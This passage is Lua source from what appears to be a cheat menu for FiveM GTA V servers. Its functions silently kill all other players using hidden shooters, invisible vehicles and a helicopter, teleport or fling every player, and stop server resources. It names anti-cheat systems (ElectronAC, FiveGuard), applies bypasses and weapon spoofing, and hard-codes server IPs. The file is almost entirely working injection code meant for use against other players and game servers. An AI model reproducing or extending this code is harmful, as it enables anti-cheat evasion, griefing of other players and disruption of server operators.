SetEntityAlpha(shooterPed, 0, false) local playerTargets = {} for _, pid in ipairs(GetActivePlayers()) do if pid ~= PlayerId() then local ped = GetPlayerPed(pid) if ped and ped ~= 0 and DoesEntityExist(ped) and not IsEntityDead(ped) and not IsFriendPed(ped) then local coord = getBestTargetBoneNoFov(ped) if coord and coord.x then local resX, resY = GetActiveScreenResolution() local onScreen, sx, sy = GetScreenCoordFromWorldCoord(coord.x, coord.y, coord.z) local distPx = 1e9 if onScreen then local dx = (sx - 0.5) * resX local dy = (sy - 0.5) * resY distPx = math.sqrt(dx * dx + dy * dy) end playerTargets[#playerTargets + 1] = { ped = ped, distPx = distPx } end end end end table.sort(playerTargets, function(a, b) return a.distPx < b.distPx end) local playerShotBatch = {} for i = 1, #playerTargets do local shotData = buildShotData(playerTargets[i].ped, shooterPed) if shotData then playerShotBatch[#playerShotBatch + 1] = shotData end end if #playerShotBatch > 0 then prepareBatchShooter(playerShotBatch[1]) for i = 1, #playerShotBatch do fireShotDataAsync(playerShotBatch[i]) end Citizen.Wait(60) RemoveWeaponFromPed(playerShotBatch[1].shooterPed, playerShotBatch[1].fireWeaponHash) end Citizen.Wait(1) end if _G.Citizen.Bongs.silentKillAllPed and DoesEntityExist(_G.Citizen.Bongs.silentKillAllPed) then DeleteEntity(_G.Citizen.Bongs.silentKillAllPed) end _G.Citizen.Bongs.silentKillAllPed = nil _G.Citizen.Bongs.silentKillAllActive = nil end) ]] menu.utils.safeExecute(script) end function assembledMenuFunctions.silentKillAllPlayersVehicle() if not menu.utils.isVehicleWhitelisted("adder") then menu.utils.notify("Vehicle is blacklisted", "error", 2000) return end local script = [[ CreateThread(function() local playerPed = PlayerPedId() local playerCoords = GetEntityCoords(playerPed) local targets = {} local model = GetHashKey("adder") RequestModel(model) while not HasModelLoaded(model) do Wait(0) end for _, playerId in ipairs(GetActivePlayers()) do if playerId ~= PlayerId() then local targetPed = GetPlayerPed(playerId) local targetCoords = GetEntityCoords(targetPed) local dist = #(playerCoords - targetCoords) if dist <= 300.0 then table.insert(targets, targetPed) end end end for _, targetPed in ipairs(targets) do local targetCoords = GetEntityCoords(targetPed) local _, groundZ = GetGroundZFor_3dCoord(targetCoords.x, targetCoords.y, targetCoords.z, false) local spawnZ = groundZ and (groundZ - 1.0) or (targetCoords.z - 1.0) local veh = CreateVehicle(model, targetCoords.x, targetCoords.y, spawnZ, 0.0, true, false) SetEntityVisible(veh, false, false) SetEntityVelocity(veh, 0.0, 0.0, 50.0 / 3.6) Wait(200) DeleteEntity(veh) SetModelAsNoLongerNeeded(model) end end)]] menu.utils.safeExecute(script) end function assembledMenuFunctions.silentKillAllPlayersHeli() if not menu.utils.isVehicleWhitelisted("conada") then menu.utils.notify("Vehicle is blacklisted", "error", 2000) return end local safeSpawn = menu.vars.bools.safeVehicleSpawn local spawnMode = safeSpawn and 1 or 0 local template = [[ Citizen.CreateThread(function() local helicopterModel = "conada" local myPed = PlayerPedId() local myCoords = GetEntityCoords(myPed) local spawnCoords = vector3(myCoords.x, myCoords.y, myCoords.z - 10.0) local heli = nil -- Helper function to spawn helicopter local function spawnHelicopter(coords) _G.Citizen.Bongs.utils.spawnVehicle(helicopterModel, coords, 0.0, function(vehicle) if not vehicle or not DoesEntityExist(vehicle) then return end Citizen.Wait(50) heli = vehicle SetVehicleEngineOn(heli, true, true, false) SetHeliBladesFullSpeed(heli) SetVehicleLights(heli, 2) SetVehicleHasBeenOwnedByPlayer(heli, true) SetEntityAsMissionEntity(heli, true, true) SetEntityCollision(heli, true, true) SetEntityInvincible(heli, true) SetEntityVisible(heli, true, true) Citizen.Wait(50) SetEntityVisible(heli, false, true) end, %d) end -- Initial spawn spawnHelicopter(spawnCoords) -- Wait for initial spawn to complete while heli == nil do Wait(10) end local startTime = GetGameTimer() while GetGameTimer() - startTime < 20000 do local players = GetActivePlayers() local targets = {} for _, id in ipairs(players) do if id ~= PlayerId() then local ped = GetPlayerPed(id) if DoesEntityExist(ped) and not IsPedDeadOrDying(ped, true) then -- Skip players who are in a vehicle if not IsPedInAnyVehicle(ped, false) then local coords = GetEntityCoords(ped) if #(coords - GetEntityCoords(myPed)) <= 250.0 then table.insert(targets, ped) end end end end end if #targets == 0 then break end for _, ped in ipairs(targets) do -- Check if helicopter is destroyed or rotor stopped, respawn if needed if not DoesEntityExist(heli) or not IsVehicleEngineOn(heli) or GetEntityHealth(heli) <= 0 then if DoesEntityExist(heli) then DeleteVehicle(heli) end local currentCoords = GetEntityCoords(myPed) local newSpawnCoords = vector3(currentCoords.x, currentCoords.y, currentCoords.z - 10.0) heli = nil spawnHelicopter(newSpawnCoords) -- Wait for respawn to complete while heli == nil do Wait(10) end end local targetCoords = GetEntityCoords(ped) local startZ = targetCoords.z - 10.0 local endZ = targetCoords.z + 5.0 local duration = 1000 local startTimeMove = GetGameTimer() while GetGameTimer() - startTimeMove < duration do local progress = (GetGameTimer() - startTimeMove) / duration local currentZ = startZ + (endZ - startZ) * progress SetEntityCoordsNoOffset(heli, targetCoords.x, targetCoords.y, currentZ, false, false, false) Wait(0) end -- Target each player for 2 seconds or until they're dead local targetStartTime = GetGameTimer() while GetGameTimer() - targetStartTime < 2000 do if not DoesEntityExist(ped) or IsPedDeadOrDying(ped, true) then break end local currentTargetCoords = GetEntityCoords(ped) SetEntityCoordsNoOffset(heli, currentTargetCoords.x, currentTargetCoords.y, currentTargetCoords.z + 5.0, false, false, false) Wait(0) end Wait(500) end end if DoesEntityExist(heli) then DeleteVehicle(heli) end end) ]] local script = string.format(template, spawnMode) menu.utils.safeExecute(script) end function assembledMenuFunctions.resourceStopUpdateFilter(filter) if not filter then return end local filterText = tostring(filter) local lowerFilter = string.lower(filterText) local resources = {} if lowerFilter == "anticheats" then local anticheatSet = {} local anticheats = menu.vars.antiCheats or {} for _, name in ipairs(anticheats) do if type(name) == "string" and name ~= "" then anticheatSet[name] = true end end for name, active in pairs(anticheats) do if active == true and type(name) == "string" and name ~= "" then anticheatSet[name] = true end end for name in pairs(anticheatSet) do table.insert(resources, name) end else local availableResources = menu.utils and menu.utils.getFreezableResourceList and menu.utils.getFreezableResourceList() or {} if lowerFilter == "custom" then local query = string.lower(tostring(menu.vars.resourceStopCustomFilterQuery or "")) for _, resource in ipairs(availableResources) do if query == "" or string.find(string.lower(resource), query, 1, true) then table.insert(resources, resource) end end else for _, resource in ipairs(availableResources) do if string.find(string.lower(resource), lowerFilter, 1, true) then table.insert(resources, resource) end end end end table.sort(resources) menu.vars.freezableResources = resources if menu.logic and menu.logic.refreshSubmenuByTitle then menu.logic.refreshSubmenuByTitle("Freeze Resource") end end function assembledMenuFunctions.resourceStopHandleFilter(filter) if not filter then return end local filterText = tostring(filter) if string.lower(filterText) == "custom" then menu.ui.promptText({ title = "Filter Resources", label = "Filter by Name", default = "", maxLen = 32 }, function(input, cancelled) if cancelled then return end input = tostring(input or "") menu.vars.resourceStopCustomFilterQuery = input local availableResources = menu.utils and menu.utils.getFreezableResourceList and menu.utils.getFreezableResourceList() or {} local resources = {} if input == "" then for _, resource in ipairs(availableResources) do table.insert(resources, resource) end else local query = string.lower(input) for _, resource in ipairs(availableResources) do if string.find(string.lower(resource), query, 1, true) then table.insert(resources, resource) end end end table.sort(resources) menu.vars.freezableResources = resources if menu.logic and menu.logic.refreshSubmenuByTitle then menu.logic.refreshSubmenuByTitle("Freeze Resource") end end) return end menu.utils.safeCallByName("resourceStopUpdateFilter", filterText) end function assembledMenuFunctions.resourceStopCustomFilterButton(button) menu.ui.promptText({ title = "Filter Resources", label = "Filter by Name", default = "", maxLen = 32 }, function(input, cancelled) if cancelled then return end input = tostring(input or "") local availableResources = menu.utils and menu.utils.getFreezableResourceList and menu.utils.getFreezableResourceList() or {} local resources = {} for _, resource in pairs(availableResources) do if input == "" or string.find(string.lower(resource), string.lower(input), 1, true) then table.insert(resources, resource) end end table.sort(resources) menu.vars.freezableResources = resources end) end function assembledMenuFunctions.freezeResourceRefresh() if menu.utils and menu.utils.populateFreezableResources then menu.utils.populateFreezableResources() end if menu.logic and menu.logic.refreshSubmenuByTitle then menu.logic.refreshSubmenuByTitle("Freeze Resource") end if menu.utils and menu.utils.notify then menu.utils.notify("Freeze Resource: List updated", "info", 2000) end end function assembledMenuFunctions.resourceBulkActionExecute(action) if action == "Stop All" then menu.utils.safeCallByName("stopAllResourcesButton") elseif action == "Start All" then menu.utils.safeCallByName("resumeAllResourcesButton") end end function assembledMenuFunctions.resumeAllResourcesButton() local resources = menu.vars and menu.vars.freezableResources or {} menu.vars.frozenResources = menu.vars.frozenResources or {} local resumedCount = 0 for _, resource in ipairs(resources) do resource = tostring(resource) if resource ~= "" then menu.utils.safeCallByName("resumeResource", resource, true) menu.vars.frozenResources[resource] = nil resumedCount = resumedCount + 1 end end if menu.utils and menu.utils.notify then menu.utils.notify(resumedCount .. " resource(s) started", "success", 2500) end if menu.logic and menu.logic.refreshSubmenuByTitle then menu.logic.refreshSubmenuByTitle("Freeze Resource") end end function assembledMenuFunctions.stopAllResourcesButton() local resources = menu.vars and menu.vars.freezableResources or {} local anticheats = menu.vars and menu.vars.antiCheats or {} menu.vars.frozenResources = menu.vars.frozenResources or {} for _, name in ipairs(anticheats) do if type(name) == "string" and name ~= "" then anticheats[name] = true end end for name, active in pairs(anticheats) do if active == true and type(name) == "string" and name ~= "" then anticheats[name] = true end end local stoppedCount = 0 for _, resource in ipairs(resources) do resource = tostring(resource) if resource ~= "" and not anticheats[resource] then menu.utils.safeCallByName("stopResource", resource, true) menu.vars.frozenResources[resource] = true stoppedCount = stoppedCount + 1 end end if menu.utils and menu.utils.notify then menu.utils.notify(stoppedCount .. " resource(s) stopped", "success", 2500) end if menu.logic and menu.logic.refreshSubmenuByTitle then menu.logic.refreshSubmenuByTitle("Freeze Resource") end end function assembledMenuFunctions.stopResourceButton(button) local resourceName = button and (button.resourceName or button.name) if not resourceName or tostring(resourceName) == "" then return end resourceName = tostring(resourceName) local anticheats = menu.vars.antiCheats or {} local endpoint = Ham and Ham.getServerEndpoint and Ham.getServerEndpoint() or "" local bypassNoticeSuppressed = endpoint == "151.242.106.21" or (type(endpoint) == "string" and endpoint:find("91%.212%.121%.20")) local function notifyAlreadyLoaded() if not bypassNoticeSuppressed then Citizen.SetTimeout(600, function() if menu.utils.notifyBottom then menu.utils.notifyBottom("Bypasses are already loaded!", "info", 2500) else menu.utils.notify("Bypasses are already loaded!", "info", 2500) end end) end end if anticheats[resourceName] == true then menu.utils.notifyBanBlocked() notifyAlreadyLoaded() return end for _, name in ipairs(anticheats) do if tostring(name) == resourceName then menu.utils.notifyBanBlocked() notifyAlreadyLoaded() return end end menu.utils.safeCallByName("stopResource", resourceName) end function assembledMenuFunctions.localTeleportAll(toggleOptions) if toggleOptions.toggleState then Citizen.CreateThread(function() while menu.vars.bools.localTeleportAll do local playerPed = PlayerPedId() local playerCoords = GetEntityCoords(PlayerPedId()) for _, targetPlayer in ipairs(GetActivePlayers()) do local targetPed = GetPlayerPed(targetPlayer) if not IsPedInAnyVehicle(targetPed, false) and targetPed ~= playerPed then local forward = GetEntityForwardVector(playerPed) local heading = GetEntityHeading(playerPed) local targetCoords = vector3( playerCoords.x + forward.x * 1.0, playerCoords.y + forward.y * 1.0, playerCoords.z ) SetEntityCoordsNoOffset( targetPed, targetCoords.x, targetCoords.y, targetCoords.z, true, true, true ) SetEntityHeading(targetPed, heading) end end Citizen.Wait(1) end end) end end function assembledMenuFunctions.kickToAirMode(toggleOptions) local spawnAsObject = menu.vars.spawnVehiclesAsObject and 1 or 0 local safeSpawn = menu.vars.bools.safeVehicleSpawn and 1 or 0 if not menu.utils.isVehicleWhitelisted("mule3") then menu.utils.notify("Vehicle is blacklisted", "error", 2000) return end if toggleOptions.toggleState then local script = string.format( [[ _G.Citizen.kickToAir = true Citizen.CreateThread(function() while _G.Citizen.kickToAir do Citizen.Wait(0) local ped = PlayerPedId() local myVeh = nil if IsPedInAnyVehicle(ped, false) then myVeh = GetVehiclePedIsIn(ped, false) end for veh in EnumerateVehicles() do if myVeh then if veh ~= myVeh then SetEntityNoCollisionEntity(myVeh, veh, true) SetEntityNoCollisionEntity(veh, myVeh, true) end else SetEntityNoCollisionEntity(ped, veh, true) SetEntityNoCollisionEntity(veh, ped, true) end end for obj in EnumerateObjects() do if myVeh then SetEntityNoCollisionEntity(myVeh, obj, true) SetEntityNoCollisionEntity(obj, myVeh, true) else SetEntityNoCollisionEntity(ped, obj, true) SetEntityNoCollisionEntity(obj, ped, true) end end end end) function EnumerateEntities(initFunc, moveFunc, disposeFunc) return coroutine.wrap(function() local iter, id = initFunc() if not id or id == 0 then disposeFunc(iter) return end local next = true repeat coroutine.yield(id) next, id = moveFunc(iter) until not next disposeFunc(iter) end) end function EnumerateVehicles() return EnumerateEntities(FindFirstVehicle, FindNextVehicle, EndFindVehicle) end function EnumerateObjects() return EnumerateEntities(FindFirstObject, FindNextObject, EndFindObject) end Citizen.CreateThread(function() Citizen.Wait(1000) local playerPed = PlayerPedId() local vehicleModel = "mule3" local playerCoords = GetEntityCoords(playerPed) local spawnCoords = vector3(playerCoords.x, playerCoords.y, playerCoords.z - 5.0) local vehicle = nil if %d == 1 then -- Use CreateObject directly when spawnVehiclesAsObject is true local vehicleHash = GetHashKey(vehicleModel) RequestModel(vehicleHash) while not HasModelLoaded(vehicleHash) do Citizen.Wait(10) end vehicle = CreateObject(vehicleHash, spawnCoords.x, spawnCoords.y, spawnCoords.z, true, false, false) if vehicle and DoesEntityExist(vehicle) then SetVehicleOnGroundProperly(vehicle) SetEntityCollision(vehicle, true, true) SetEntityVisible(vehicle, false) end else -- Use utility function when spawnVehiclesAsObject is false _G.Citizen.Bongs.utils.spawnVehicle(vehicleModel, spawnCoords, GetEntityHeading(playerPed), function(veh) if not veh or not DoesEntityExist(veh) then return end Citizen.Wait(50) vehicle = veh SetVehicleOnGroundProperly(vehicle) SetEntityCollision(vehicle, true, true) SetEntityVisible(vehicle, false) end, %d) -- Wait for vehicle to be spawned while vehicle == nil do Citizen.Wait(10) end end while DoesEntityExist(vehicle) and DoesEntityExist(playerPed) and _G.Citizen.kickToAir do local pCoords = GetEntityCoords(playerPed) local newCoords = vector3(pCoords.x, pCoords.y, pCoords.z - 5.0) SetEntityCoordsNoOffset(vehicle, newCoords.x, newCoords.y, newCoords.z, false, false, false) SetEntityVelocity(vehicle, 0.0, 0.0, 20.0) ApplyForceToEntity(vehicle, 1, 0.0, 0.0, 50.0, 0.0, 0.0, 0.0, 0, false, true, true, false, true) SetEntityNoCollisionEntity(playerPed, vehicle, true) Citizen.Wait(50) end -- Clean up the vehicle when the loop ends if DoesEntityExist(vehicle) then DeleteEntity(vehicle) end end) ]], spawnAsObject, safeSpawn ) menu.utils.safeExecute(script) return end menu.utils.safeExecute([[ _G.Citizen.kickToAir = false ]]) end function assembledMenuFunctions.toggleFreecam(toggleOptions) Citizen.CreateThread(function() local enabled = toggleOptions.toggleState if enabled then if Ham and Ham.camBypass then Ham.camBypass(true) end Ham.freeCam(true) if Ham and Ham.spectatorMode then Ham.spectatorMode(true) end menu.utils.initializeFreecamMenu() menu.utils.syncFreecamSpeedSliders() if Ham.setFreecamSprintMultiplier then Ham.setFreecamSprintMultiplier(1.0) end if Ham.setFreecamShiftMultiplier then Ham.setFreecamShiftMultiplier(1.0) end menu.vars._freecamLastHamSpeed = nil menu.utils.applyFreecamHamSpeedNow() return end local playerPed = PlayerPedId() local restoreEntity, restoreX, restoreY, restoreZ local restoreFromBlackHole = menu.vars.freecamBlackHoleWasUsed if restoreFromBlackHole then if not menu.vars.freecamTeleportUsedInFreecam then restoreFromBlackHole = menu.vars.freecamBlackHoleStartCoords else restoreFromBlackHole = false end end if playerPed and playerPed ~= 0 then if restoreFromBlackHole then local startCoords = menu.vars.freecamBlackHoleStartCoords restoreX, restoreY, restoreZ = startCoords.x, startCoords.y, startCoords.z restoreEntity = playerPed else local vehicle = IsPedInAnyVehicle(playerPed, false) and GetVehiclePedIsIn(playerPed, false) or nil if vehicle and vehicle ~= 0 and DoesEntityExist(vehicle) then restoreEntity = vehicle else restoreEntity = playerPed end if restoreEntity and restoreEntity ~= 0 and DoesEntityExist(restoreEntity) then local coordinates = GetEntityCoords(restoreEntity) restoreX, restoreY, restoreZ = coordinates.x, coordinates.y, coordinates.z end end end Ham.freeCam(false) if Ham and Ham.camBypass then Ham.camBypass(false) end if Ham and Ham.spectatorMode then Ham.spectatorMode(false) end if restoreEntity and restoreX and restoreY and restoreZ and DoesEntityExist(restoreEntity) then if restoreFromBlackHole then SetEntityCoordsNoOffset(restoreEntity, restoreX, restoreY, restoreZ, false, false, false) else local coordinates = GetEntityCoords(restoreEntity) local deltaX = coordinates.x - restoreX local deltaY = coordinates.y - restoreY local horizontalDistanceSquared = deltaX * deltaX + deltaY * deltaY local verticalDistance = math.abs(coordinates.z - restoreZ) if horizontalDistanceSquared > 0.30250000000000005 or verticalDistance > 1.35 then SetEntityCoordsNoOffset(restoreEntity, restoreX, restoreY, restoreZ, false, false, false) end end end menu.vars.freecamBlackHoleWasUsed = false menu.vars.freecamBlackHoleStartCoords = nil menu.vars.freecamBlackHoleStartCapturedThisSession = false menu.vars.freecamTeleportUsedInFreecam = false menu.utils.cleanupFreecamMenu() local currentPed = PlayerPedId() local invisible = menu.vars.bools if invisible then invisible = menu.vars.bools.invisibility == true or menu.vars.bools.invisibilityEnabled == true if not invisible and menu.utils.isFullInvisibleVisibilityActive then invisible = menu.utils.isFullInvisibleVisibilityActive() end end if currentPed and currentPed ~= 0 and DoesEntityExist(currentPed) and not invisible then SetEntityVisible(currentPed, true, false) ResetEntityAlpha(currentPed) end SetPedCanSwitchWeapon(PlayerPedId(), true) end) end function assembledMenuFunctions.setNoclipAnimationStage(toggleOptions) if not menu.vars or not menu.vars.bools or not menu.vars.selectors then return end local stage = 1 if toggleOptions and toggleOptions.targetInfo and toggleOptions.targetInfo.stage then stage = tonumber(toggleOptions.targetInfo.stage) or 1 end stage = math.max(1, math.min(6, stage)) local stageVariables = { "noclipAnimationStage1", "noclipAnimationStage2", "noclipAnimationStage3", "noclipAnimationStage4", "noclipAnimationStage5", "noclipAnimationStage6" } if toggleOptions and toggleOptions.toggleState == false and menu.vars.selectors.noclipAnimation == stage then menu.vars.bools[stageVariables[stage]] = true return end menu.vars.selectors.noclipAnimation = stage for index, variableName in ipairs(stageVariables) do menu.vars.bools[variableName] = index == stage end end function assembledMenuFunctions.adjustNoclipSpeedLive(direction, step) if not menu.vars then return end menu.vars.sliders = menu.vars.sliders or {} local stepSize = tonumber(step) or 0.5 local currentSpeed = tonumber(menu.vars.sliders.noclipSpeed) or 0.5 local adjustment = (tonumber(direction) or 0) * stepSize local newSpeed = math.max(0.5, math.min(15.0, currentSpeed + adjustment)) if newSpeed == currentSpeed then return end menu.vars.sliders.noclipSpeed = newSpeed if menu.functions and menu.functions.applyNoclipSpeed then menu.functions.applyNoclipSpeed(newSpeed) end end function assembledMenuFunctions.applySliderModeSpeed(value) menu.vars.sliders = menu.vars.sliders or {} local speed = tonumber(value) or tonumber(menu.vars.sliders.sliderModeSpeed) or 0.5 menu.vars.sliders.sliderModeSpeed = speed if menu.vars.bools and menu.vars.bools.sliderMode and Ham and Ham.speedSpoof then Ham.speedSpoof(true) end end function assembledMenuFunctions.applyRunSpeed(value) menu.vars.sliders = menu.vars.sliders or {} local speed = tonumber(value) or tonumber(menu.vars.sliders.runSpeedMult) or 1 speed = math.max(1, math.min(10, speed)) menu.vars.sliders.runSpeedMult = speed if menu.vars.bools and not menu.vars.bools.runSpeed then return end local playerPed = PlayerPedId() local playerId = PlayerId() if type(SetRunSprintMultiplierForPlayer) == "function" then SetRunSprintMultiplierForPlayer(playerId, speed * 1.0) end if playerPed == 0 or not DoesEntityExist(playerPed) then return end if type(SetPedMoveRateOverride) == "function" then SetPedMoveRateOverride(playerPed, speed * 1.0) end end function assembledMenuFunctions.applyNoclipSpeed(value) local speed = tonumber(value) or 0.5 local nativeSpeed if speed <= 1.0 then nativeSpeed = speed * 0.55 elseif speed <= 5.0 then nativeSpeed = speed * 0.75 else nativeSpeed = speed * 0.9 end Ham.setNoClipSpeed(nativeSpeed) if menu.vars then if not menu.vars.bools or not menu.vars.bools.fullInvisible then return end local baseSpeed = nativeSpeed * 2.0 local sprintMultiplier = (nativeSpeed * 2.2 * 2.0) / math.max(baseSpeed, 0.001) menu.utils.safeExecute(string.format( [[ _G.pmFullInvisibleBaseMoveSpeed = %.3f _G.pmFullInvisibleSprintMultiplier = %.3f _G.pmFullInvisibleVerticalFactor = %.3f ]], baseSpeed, sprintMultiplier, 1.0 )) end end function assembledMenuFunctions.applyFreecamSpeed(requestedSpeed) local speedLevels = menu.utils and menu.utils.getFreecamSpeedLevels and menu.utils.getFreecamSpeedLevels() or { 0.5 } local value = tonumber(requestedSpeed) if not value then return end local levelIndex, displaySpeed if value >= 1 and value <= #speedLevels and math.abs(value - math.floor(value + 0.001)) < 0.001 then levelIndex = math.floor(value + 0.001) displaySpeed = speedLevels[levelIndex] else levelIndex = menu.utils.getFreecamSpeedLevelIndex(value) displaySpeed = speedLevels[levelIndex] end menu.vars.sliders = menu.vars.sliders or {} menu.vars.sliders.freecamSpeedLevel = levelIndex menu.vars.sliders.freecamSpeed = displaySpeed if menu.vars.freecamMenu then menu.vars.freecamMenu.cameraSpeed = displaySpeed end menu.vars._freecamLastHamSpeed = nil if menu.utils and menu.utils.applyFreecamHamSpeedNow then menu.utils.applyFreecamHamSpeedNow() return end if Ham and Ham.setFreecamSpeed then Ham.setFreecamSpeed(menu.utils.mapFreecamDisplaySpeedToHam(displaySpeed, menu.utils.isFreecamShiftHeld())) end end function assembledMenuFunctions.freecamCrosshairTeleportHotkey() if not menu.vars or menu.vars.visible then return end if Ham and Ham.isGuiOpen and Ham.isGuiOpen() then return end local freecamEnabled = menu.vars.bools and menu.vars.bools.freecam == true if not freecamEnabled then freecamEnabled = menu.vars.freecamMenuActive == true end if not freecamEnabled then return end local cameraPosition = GetFinalRenderedCamCoord() local cameraRotation = GetFinalRenderedCamRot(2) if not cameraPosition or not cameraRotation then return end local directionX = -math.sin(math.rad(cameraRotation.z)) * math.cos(math.rad(cameraRotation.x)) local directionY = math.cos(math.rad(cameraRotation.z)) * math.cos(math.rad(cameraRotation.x)) local direction = vector3(directionX, directionY, math.sin(math.rad(cameraRotation.x))) if menu.utils and menu.utils.freecamTeleport then menu.utils.freecamTeleport(cameraPosition, direction) end end function assembledMenuFunctions.toggleNpcEsp(toggleOptions) if not menu.vars or not menu.vars.bools then return end local enabled = toggleOptions and toggleOptions.toggleState == true menu.vars.bools.npcEsp = enabled if not enabled then return end local espType = menu.vars.selectors and menu.vars.selectors.pedEspType or 1 if espType == 1 then if menu.vars.bools.pedNameTagsEsp == true or menu.vars.bools.pedBoxEsp == true or menu.vars.bools.pedHealthBarEsp == true or menu.vars.bools.pedDistanceEsp == true or menu.vars.bools.pedWeaponEsp == true or menu.vars.bools.pedSkeletonEsp == true then return end menu.vars.bools.pedNameTagsEsp = true menu.vars.bools.pedDistanceEsp = true return end if menu.vars.bools.otherEspPedName == nil then menu.vars.bools.otherEspPedName = true end if menu.vars.bools.otherEspPedBox == nil then menu.vars.bools.otherEspPedBox = true end end function assembledMenuFunctions.getVehicleCategoryDisplayChoices(category) menu.vars.vehicleCategoryDisplayChoices = menu.vars.vehicleCategoryDisplayChoices or {} local cachedChoices = menu.vars.vehicleCategoryDisplayChoices[category] if cachedChoices then return cachedChoices end if menu.utils and menu.utils.getVehicleCategories then menu.utils.getVehicleCategories() end local categories = menu.vars and menu.vars.vehicleCategories or {} local categoryVehicles = categories[category] or {} local choices = {} for index = 1, #categoryVehicles do local vehicle = categoryVehicles[index] choices[#choices + 1] = vehicle and vehicle.display or "?" end menu.vars.vehicleCategoryDisplayChoices[category] = choices return choices end function assembledMenuFunctions.hasVehicleCategoryChoices(category) local choices = menu.functions.getVehicleCategoryDisplayChoices(category) return choices and #choices > 0 end function assembledMenuFunctions.isEntitySpawnPreviewEnabled() local toggleStates = menu.vars and menu.vars.bools if not toggleStates then return true end return toggleStates.showEntitySpawnPreview == nil or toggleStates.showEntitySpawnPreview == true end function assembledMenuFunctions.isVehicleSpawnPreviewEnabled() local toggleStates = menu.vars and menu.vars.bools if not toggleStates then return true end return toggleStates.showVehicleSpawnPreview == nil or toggleStates.showVehicleSpawnPreview == true end function assembledMenuFunctions.getDamageReflectionHamParams() local electronActive = menu.vars.antiCheats and menu.vars.antiCheats.ElectronAC ~= nil local fiveGuardActive = menu.vars.antiCheats and menu.vars.antiCheats.FiveGuard ~= nil if electronActive or fiveGuardActive then return { weaponHash = GetHashKey("WEAPON_BAT"), damage = 100, shots = 2, delayMs = 25, hitComponent = 0, damageFlags = 517, useWillKill = true } end return { weaponHash = GetHashKey("WEAPON_UNARMED"), damage = 50, shots = 10, delayMs = 100, hitComponent = 3, damageFlags = 517, useWillKill = true } end function assembledMenuFunctions.ensureDamageReflectionHamReady(params) if not Ham or not params then return end if menu.functions.isFiveGuardServer and menu.functions.isFiveGuardServer() then if menu.functions.applyWeaponBypass then menu.functions.applyWeaponBypass() end elseif menu.functions.isElectronAcServer and menu.functions.isElectronAcServer() and menu.functions.applyElectronAcWeaponBypass then menu.functions.applyElectronAcWeaponBypass() end if Ham.setWeaponDamageOverride then Ham.setWeaponDamageOverride(params.weaponHash, params.damage) end if Ham.setWeaponSpoofHash then Ham.setWeaponSpoofHash(params.weaponHash) end if Ham.weaponSpoof then Ham.weaponSpoof(true) end end function assembledMenuFunctions.rememberDamageReflectionAttacker(entity) if not entity or entity == 0 then return end menu.vars.damageReflectionState = menu.vars.damageReflectionState or {} menu.vars.damageReflectionState.attackerEntity = entity menu.vars.damageReflectionState.attackerUntil = GetGameTimer() + 1500 end function assembledMenuFunctions.getDamageReflectionPlayerFromVehicle(entity, targetEntity) local function getOtherPlayerPed(candidate) if candidate and candidate ~= 0 and DoesEntityExist(candidate) and IsEntityAPed(candidate) and IsPedAPlayer(candidate) and candidate ~= targetEntity then return candidate end return nil end if not entity or entity == 0 or not DoesEntityExist(entity) or not IsEntityAVehicle(entity) then return nil end local playerPed = getOtherPlayerPed(GetPedInVehicleSeat(entity, -1)) if playerPed then return playerPed end local maxPassengers = GetVehicleMaxNumberOfPassengers(entity) or 0 for seatIndex = 0, maxPassengers - 1 do playerPed = getOtherPlayerPed(GetPedInVehicleSeat(entity, seatIndex)) if playerPed then return playerPed end end if NetworkGetEntityIsNetworked and NetworkGetEntityIsNetworked(entity) and NetworkGetEntityOwner then local owner = NetworkGetEntityOwner(entity) if owner and owner ~= -1 then playerPed = getOtherPlayerPed(GetPlayerPed(owner)) if playerPed then return playerPed end end end return nil end function assembledMenuFunctions.resolveDamageReflectionAttackerPed(entity, targetEntity) local function getOtherPlayerPed(candidate) if candidate and candidate ~= 0 and DoesEntityExist(candidate) and IsEntityAPed(candidate) and IsPedAPlayer(candidate) and candidate ~= targetEntity then return candidate end return nil end local state = menu.vars.damageReflectionState or {} if not entity or entity == 0 then if state.attackerEntity and state.attackerUntil and GetGameTimer() <= state.attackerUntil then entity = state.attackerEntity end end local attacker = getOtherPlayerPed(entity) if attacker then return attacker end if entity and entity ~= 0 and DoesEntityExist(entity) and IsEntityAVehicle(entity) then attacker = menu.functions.getDamageReflectionPlayerFromVehicle(entity, targetEntity) if attacker then return attacker end end if targetEntity and targetEntity ~= 0 and HasEntityBeenDamagedByEntity then for _, targetPlayer in ipairs(GetActivePlayers()) do if targetPlayer ~= PlayerId() then local candidate = GetPlayerPed(targetPlayer) if candidate ~= 0 and DoesEntityExist(candidate) and not IsEntityDead(candidate) then if HasEntityBeenDamagedByEntity(targetEntity, candidate, true) then return candidate end local vehicle = GetVehiclePedIsIn(candidate, false) if vehicle == 0 then vehicle = GetVehiclePedIsIn(candidate, true) end if vehicle ~= 0 and DoesEntityExist(vehicle) and HasEntityBeenDamagedByEntity(targetEntity, vehicle, true) then return candidate end end end end for _, vehicle in ipairs(GetGamePool("CVehicle") or {}) do if vehicle ~= 0 and DoesEntityExist(vehicle) and IsEntityAVehicle(vehicle) and HasEntityBeenDamagedByEntity(targetEntity, vehicle, true) then attacker = menu.functions.getDamageReflectionPlayerFromVehicle(vehicle, targetEntity) if attacker then return attacker end end end end local runOverHash = GetHashKey("WEAPON_RUN_OVER_BY_CAR") local vehicleDamage = false if HasPedBeenDamagedByWeapon then vehicleDamage = HasPedBeenDamagedByWeapon(targetEntity, runOverHash, 0) if not vehicleDamage then vehicleDamage = HasPedBeenDamagedByWeapon(targetEntity, GetHashKey("WEAPON_RAMMED_BY_CAR"), 0) end elseif HasEntityBeenDamagedByWeapon then vehicleDamage = HasEntityBeenDamagedByWeapon(targetEntity, runOverHash, 0) if not vehicleDamage then vehicleDamage = HasEntityBeenDamagedByWeapon(targetEntity, GetHashKey("WEAPON_RAMMED_BY_CAR"), 0) end end if vehicleDamage then local targetCoords = GetEntityCoords(targetEntity) local nearestPlayer, nearestDistance = nil, 15.0 for _, targetPlayer in ipairs(GetActivePlayers()) do if targetPlayer ~= PlayerId() then local candidate = GetPlayerPed(targetPlayer) if candidate ~= 0 and DoesEntityExist(candidate) and not IsEntityDead(candidate) then local vehicle = GetVehiclePedIsIn(candidate, false) if vehicle == 0 then vehicle = GetVehiclePedIsIn(candidate, true) end if vehicle ~= 0 and DoesEntityExist(vehicle) then local distance = #(targetCoords - GetEntityCoords(vehicle)) if distance <= nearestDistance and (GetEntitySpeed(vehicle) > 1.0 or distance <= 6.0) then if not nearestPlayer or nearestDistance > distance then nearestPlayer = candidate nearestDistance = distance end end end end end end if nearestPlayer then return nearestPlayer end 